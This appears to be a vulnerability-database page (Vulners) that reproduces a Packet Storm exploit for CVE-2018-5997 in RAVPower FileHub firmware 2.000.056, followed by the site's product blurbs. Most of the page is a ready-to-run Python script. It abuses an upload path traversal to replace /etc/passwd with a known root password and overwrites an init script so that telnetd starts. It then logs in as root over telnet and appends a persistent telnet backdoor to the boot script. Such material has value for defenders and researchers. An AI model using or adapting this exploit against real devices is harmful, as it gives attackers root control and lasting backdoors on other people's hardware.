Lucene search
K

RAVPower 2.000.056 Remote Root Code Execution

🗓️ 24 Jan 2018 00:00:00Reported by Daniele LinguaglossaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 34 Views

RAVPower, Remote Root Code Execution, Telnet Backdoo

Related
Code
ReporterTitlePublishedViews
Family
0day.today
RAVPower 2.000.056 - Root Remote Code Execution Exploit
24 Jan 201800:00
zdt
CNVD
RAVPower Filehub Remote Code Execution Vulnerability
26 Jan 201800:00
cnvd
CVE
CVE-2018-5997
25 Jan 201817:00
cve
Cvelist
CVE-2018-5997
25 Jan 201817:00
cvelist
Exploit DB
RAVPower 2.000.056 - Root Remote Code Execution
24 Jan 201800:00
exploitdb
exploitpack
RAVPower 2.000.056 - Root Remote Code Execution
24 Jan 201800:00
exploitpack
NVD
CVE-2018-5997
25 Jan 201817:29
nvd
Prion
Path traversal
25 Jan 201817:29
prion
`"""  
  
# Exploit Title: RAVPower - remote root  
# Date: 23/01/2018  
# Exploit Authors: Daniele Linguaglossa  
# Vendor Homepage: https://www.ravpower.com/  
# Software Link: https://www.ravpower.com/  
# Version: 2.000.056  
# Tested on: OSX  
# CVE : CVE-2018-5997  
  
"""  
  
import requests  
import time  
import telnetlib  
  
  
PATH_PASSWD = "/etc"  
FILE_PASSWD = "passwd"  
PATH_VSTFUNC = "/etc/init.d"  
FILE_VSTFUNC = "vstfunc"  
FILE_RC = "/etc/rc.d/rc"  
BACKDOOR_TERM = "export TERM=xterm"  
BACKDOOR_TELNET = "/usr/sbin/telnetd &"  
BASH_SHEBANG = "#!/bin/sh"  
TELNETD = "/usr/sbin/telnetd -p 1111 &"  
  
  
def upload(host, port, path, name, content):  
user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0"  
path = "/upload.csp?uploadpath=%s&file=1515865637281" % path  
url ="http://{0}:{1}{2}".format(host,port,path)  
files = {'file' : ('%s' % name, content,'application/octet-stream')}  
headers = {  
"user-agent": user_agent  
}  
try:  
requests.post(url,headers=headers,files=files)  
return True  
except:  
return False  
  
  
# root:admin  
tmp_passwd = """root:$1$YBm5LfCo$5OEwLPLUu085z5EoDpQz7/:0:0:root:/data/UsbDisk1/Volume1:/bin/sh  
bin:x:1:1:bin:/bin:/sbin/nologin  
daemon:x:2:2:daemon:/sbin:/sbin/nologin  
admin:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:15:0:admin:/data/UsbDisk1/Volume1:/bin/sh  
mail:*:8:8:mail:/var/mail:/bin/sh  
nobody:x:65534:65534:Nobody:/data/UsbDisk1/Volume1:/bin/sh  
guest:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:512:0:guest:/data/UsbDisk1/Volume1/Share:/bin/sh-new  
"""  
  
tmp_vstfunc = """  
export PATH=/bin:/sbin:/usr/bin:/usr/sbin  
# A function to stop a program.  
killproc() {  
local base=${1##*/}  
local pid=  
pid=`pidof $base`  
local i  
if [ -n "$pid" ]; then  
for i in $pid ; do  
kill -KILL $i > /dev/null 2>&1  
done  
fi  
rm -f /var/run/$base.pid  
return 0  
}  
# A function to find the pid of a program.  
pidofproc() {  
local base=${1##*/}  
#First try "/var/run/*.pid" files  
if [ -f "/var/run/$base.pid" ]; then  
local line p pid=  
read line < /var/run/$base.pid  
for p in $line ; do  
[ -z "$p" -a -d "/proc/$p" ] && pid="$pid $p"  
done  
else  
pid=`pidof $1 || pidof $base`  
fi  
if [ -n "$pid" ]; then  
echo $pid  
return 0  
fi  
return 1  
}  
# Check if $pid (could be plural) are running  
# Return : 0 run  
# 1 stop  
checkpid() {  
local i  
for i in $* ; do  
if [ -d "/proc/$i" ]; then  
return 0  
fi  
done  
return 1  
}  
# Check disk exist  
checkdisk() {  
return $?  
}  
# save pid and log function  
savesc() {  
local i=0  
if [ -n "$3" ]; then  
touch /var/run/$3.pid  
fi  
return $?  
}  
  
# A function check start of a program.  
# return: 1 not exist  
# 0 exist  
checkonly() {  
local prgname=${1##*/}  
local pid=  
if [ -f "/var/run/$prgname.pid" ]; then  
pid=`pidof $prgname`  
if [ -n "$pid" ]; then  
return 0  
fi  
return 1  
else  
pid=`pidof $prgname`  
if [ -n "$pid" ]; then  
if sleep 1 && checkpid $pid && sleep 1 && checkpid $pid && sleep 2 && checkpid $pid ; then  
return 2  
fi  
fi  
return 2  
fi  
  
}  
# A function save etc to mtd.  
# return: 1 failure  
# 0 success  
saveetc() {  
local ret=0  
  
/usr/sbin/etc_tools t > /dev/null 2>&1  
let ret=ret+$?  
# ret=$[$ret + $?]  
/usr/sbin/etc_tools p > /dev/null 2>&1  
let ret=ret+$?  
# ret=$[$ret + $?]  
  
return $ret  
}  
# A function resume mtd to etc.  
# return: 1 failure  
# 0 success  
resumeetc() {  
local ret=0  
  
/usr/sbin/etc_tools b > /dev/null 2>&1  
let ret=ret+$?  
# ret=$[$ret + $?]  
/usr/sbin/etc_tools u > /dev/null 2>&1  
let ret=ret+$?  
# ret=$[$ret + $?]  
  
return $ret  
}  
  
# Create a lock for /var/lock  
AppScriptLock() {  
if [ -f /var/lock/$1.pid ]; then  
return 0  
else  
touch /var/lock/$1.pid  
return 1  
fi  
}  
  
# Check a lock for /var/lock  
AppScriptChkLock() {  
if [ -f /var/lock/$1.pid ]; then  
return 1  
else  
return 0  
fi  
}  
  
# Delete a lock for /var/lock  
AppScriptUnlock() {  
if [ -f /var/lock/$1.pid ]; then  
rm -rf /var/lock/$1.pid  
fi  
return 1  
}  
  
DISKPATH="/data/UsbDisk1/Volume1/.vst/upgrade"  
ETCPATH="/boot/tmp"  
ETCBKPATH="/boot/tmp/etcbackup"  
DISKETCFILE="/data/UsbDisk1/Volume1/.vst/upgrade/etc.tar"  
DIDKETCBKFILE="/data/UsbDisk1/Volume1/.vst/upgrade/etcbackup.tar.gz"  
ETCFILE="/boot/tmp/etc.tar"  
ETCBKFILETAR="/boot/tmp/etcbackup.tar"  
ETCBKFILE="/boot/tmp/etcbackup.tar.gz"  
FILELIST="hostname passwd shadow samba/smbpasswd fileserv/lighttpd.user dropbox baidu"  
FILELIST1="hostname"  
backup_etc() {  
rm $ETCBKFILETAR -rf  
rm $ETCBKFILE -rf  
rm $ETCBKPATH -rf  
  
# if [ ! -e $DISKPATH ];then  
# mkdir -p -m 755 $DISKPATH  
# fi  
if [ ! -e $ETCBKPATH ]; then  
mkdir -p -m 755 $ETCBKPATH  
fi  
if [ -z $1 ]; then  
FILELISTALL=$FILELIST  
else  
if [ $1 == "resume" ]; then  
FILELISTALL=$FILELIST1  
fi  
fi  
for f in $FILELISTALL  
do  
if [ -d /etc/$f ]; then  
cp -rf /etc/$f $ETCBKPATH > /dev/null 2>&1  
else  
if [ "$f" == "samba/smbpasswd" ]; then  
if [ ! -e $ETCBKPATH/samba ]; then  
mkdir -p $ETCBKPATH/samba  
fi  
cp -rf /etc/$f $ETCBKPATH/$f > /dev/null 2>&1  
elif [ "$f" == "fileserv/lighttpd.user" ]; then  
if [ ! -e $ETCBKPATH/fileserv ]; then  
mkdir -p $ETCBKPATH/fileserv  
fi  
cp -rf /etc/$f $ETCBKPATH/$f > /dev/null 2>&1  
elif [ "$f" == "serversman/cloud.conf" ]; then  
if [ ! -f /etc/$f ]; then  
continue  
fi  
if [ ! -e $ETCBKPATH/serversman ]; then  
mkdir -p $ETCBKPATH/serversman  
fi  
cp -rf /etc/$f $ETCBKPATH/$f > /dev/null 2>&1  
else  
cp -rf /etc/$f $ETCBKPATH > /dev/null 2>&1  
fi  
fi  
done  
tar cvf $ETCBKFILETAR $ETCBKPATH > /dev/null 2>&1  
gzip $ETCBKFILETAR  
if [ -f $ETCBKFILE ]; then  
cp -rf $ETCBKFILE $DIDKETCBKFILE  
fi  
}  
  
  
backup_etc_telnet() {  
rm $ETCBKFILETAR -rf  
rm $ETCBKFILE -rf  
rm $ETCBKPATH -rf  
  
# if [ ! -e $DISKPATH ];then  
# mkdir -p -m 755 $DISKPATH  
# fi  
if [ ! -e $ETCBKPATH ]; then  
mkdir -p -m 755 $ETCBKPATH  
fi  
if [ -z $1 ]; then  
FILELISTALL=$FILELIST  
else  
if [ $1 == "resume" ]; then  
FILELISTALL=$FILELIST1  
fi  
fi  
touch $ETCBKPATH/telnetflag  
tar cvf $ETCBKFILETAR $ETCBKPATH > /dev/null 2>&1  
gzip $ETCBKFILETAR  
if [ -f $ETCBKFILE ]; then  
cp -rf $ETCBKFILE $DIDKETCBKFILE  
fi  
}  
  
  
  
  
  
  
  
  
  
restore_etc() {  
if [ -f $ETCBKFILE ]; then  
gunzip $ETCBKFILE  
tar xvf $ETCBKFILETAR -C / > /dev/null 2>&1  
for f in $FILELIST  
do  
if [ -d /etc/$f ]; then  
echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc  
#cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1  
cp -rf $ETCBKPATH/$f /etc > /dev/null 2>&1  
else  
if [ "$f" == "samba/smbpasswd" ]; then  
echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc  
cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1  
elif [ "$f" == "fileserv/lighttpd.user" ]; then  
echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc  
cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1  
elif [ "$f" == "serversman/cloud.conf" ]; then  
if [ ! -f $ETCBKPATH/$f ]; then  
continue  
fi  
echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc  
cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1  
else  
echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc  
cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1  
fi  
fi  
done  
if [ -f $ETCBKPATH/telnetflag ]; then  
touch /etc/telnetflag  
fi  
fi  
}  
  
# A function check usb flag  
# return: 0 service start  
# 1 service stop  
check_usb_flag() {  
local ret=0  
  
if [ -e "/proc/usbwrite" ];then  
ret=`cat /proc/usbwrite`  
fi  
  
return $ret  
}  
  
###########################################################################  
#  
# LED operations  
#  
###########################################################################  
led_wink_start() {  
LED=`cat /proc/vsled`  
if [ $LED -eq 3 ]; then  
pioctl wifi 2  
fi  
}  
led_wink_stop() {  
LED=`cat /proc/vsled`  
if [ $LED -eq 2 ]; then  
pioctl wifi 3  
fi  
}  
led_wink_chk() {  
LED=`cat /proc/vsled`  
if [ $LED -eq 2 ]; then  
return 1  
else  
return 0  
fi  
}  
  
###########################################################################  
#  
# Flag operation  
#  
###########################################################################  
flagctl_get() {  
if [ -e /dev/sda ]; then  
trynum=0  
while [ $trynum -lt 3 ]; do  
retval=`/usr/sbin/flagctl disk get $1`  
if [ ! -z $retval ]; then  
return $retval  
fi  
let trynum=trynum+1  
# trynum=$[$trynum+1]  
sleep 1  
done  
fi  
}  
  
flagctl_set() {  
if [ -e /dev/sda ]; then  
trynum=0  
while [ $trynum -lt 3 ]; do  
/usr/sbin/flagctl disk set $1 $2  
flagctl_get $1  
if [ "$?" -eq "$2" ]; then  
sync  
return 1  
fi  
let trynum=trynum+1  
# trynum=$[$trynum+1]  
sleep 1  
done  
fi  
return 0  
}  
  
###########################################################################  
#  
# string function  
#  
###########################################################################  
str_func_strstr () {  
if [ ${#2} -eq 0 ];then  
echo "$1"  
return 0  
fi  
case "$1" in  
*$2*)  
return 1  
;;  
*)  
return 0  
;;  
esac  
}  
  
dev_test_host() {  
nordev=`echo $1 | cut -c -3`  
s_str=`ls -l /sys/block/$nordev/device`  
str_func_strstr "$s_str" "host0"  
if [ $? -eq 1 ]; then  
return 1  
fi  
return 0;  
}  
  
dev_test_usb() {  
nordev=`echo $1 | cut -c -3`  
s_str=`ls -l /sys/block/$nordev/device`  
str_func_strstr "$s_str" "usb"  
if [ $? -eq 1 ]; then  
return 1  
fi  
return 0;  
}  
  
###########################################################################  
#  
# Permission check functions  
#  
###########################################################################  
# $1: device name  
# $2: host/usb  
# $3: if recursive, 1: enable, 0: disable  
perm_change_start() {  
permpid=`ps | grep "/usr/sbin/permchange $1" | cut -d' ' -f2`  
if [ ! -z $permpid ]; then  
return 1;  
else  
/usr/sbin/permchange $1 $2 $3 &  
fi  
}  
  
# $1: device name  
# $2: if recursive, 1: enable, 0: disable  
perm_chk_start() {  
dev_test_host $1  
if [ $? -eq 1 ]; then  
perm_change_start $1 host $2  
else  
perm_change_start $1 usb $2  
fi  
}  
  
perm_chk_stop() {  
permpid=`ps | grep "/usr/sbin/permchange $1" | cut -d' ' -f2`  
if [ ! -z $permpid ]; then  
for ppid in $permpid ; do  
kill -9 $ppid > /dev/null 2>&1  
done  
fi  
}  
  
###########################################################################  
# Time function  
###########################################################################  
timedate_settosys() {  
if [ -e /etc/timedate ]; then  
TIMESET=`cat /etc/timedate`  
date -s $TIMESET  
fi  
}  
  
timedate_save() {  
date '+%Y.%m.%d-%H:%M:%S' > /etc/timedate  
}  
"""  
print "RAVPower Remote root (0day) - By dzonerzy & r3dx0f\n\n"  
host = raw_input("Insert Ravpower IP: ")  
print "[*] Step 1 -> pwning /etc/passwd"  
if not upload(host, 80,PATH_PASSWD,FILE_PASSWD,tmp_passwd):  
print "[-] Filed to pwn /etc/passwd maybe fixed?"  
exit(0)  
print "[*] Step 2 -> pwning /etc/init.d/vstfunc"  
if not upload(host, 80,PATH_VSTFUNC,FILE_VSTFUNC,BASH_SHEBANG+"\n"+TELNETD+"\n"+tmp_vstfunc):  
print "[-] Filed to pwn /etc/init.d/vstfunc maybe fixed?"  
exit(0)  
t = None  
print "[*] Step 3 -> Try to remove or insert SD Card or just wait for something happen (something must happen!)"  
while True:  
try:  
print "[*] Step 3-1 -> Trying to telnet..."  
t = telnetlib.Telnet(host, port=1111)  
break  
except:  
time.sleep(5)  
t.read_until(": ")  
t.write("root\n")  
t.read_until(": ")  
t.write("admin\n")  
t.read_until("# ")  
print "[*] Step 4 -> pwning /etc/rc.d/rc"  
t.write("echo '%s' >> %s\n" % (BACKDOOR_TERM, FILE_RC))  
t.read_until("# ")  
t.write("echo '%s' >> %s\n" % (BACKDOOR_TELNET, FILE_RC))  
t.read_until("# ")  
print "[*] Step 4-1 -> pwned!"  
print "[*] Step 5 -> Saving settings"  
t.write("/usr/sbin/etc_tools p\n")  
t.read_until("# ")  
print "[*] Step 5-1 -> Done!"  
print "[*] Step 6 -> Starting telnetd"  
t.write("/usr/sbin/telnetd &\n")  
t.read_until("# ")  
print "[*] Step 6-1 -> Done!"  
print "[*] Step 7 -> Killing old telnet"  
t.write("ps aux |grep 1111 | awk '{print $2}' | xargs kill -9\n")  
t.read_until("# ")  
print "[*] Step 7-1 -> Done!"  
print "[*] Step 8 -> Restoring vstfunc"  
if not upload(host, 80,PATH_VSTFUNC,FILE_VSTFUNC,BASH_SHEBANG+"\n"+tmp_vstfunc):  
print "[-] Filed to pwn /etc/init.d/vstfunc fixed?"  
exit(0)  
print "[*] Step 8-1 -> Done!"  
print "[!] PWNAGE COMPLETED! connect with root:admin"  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation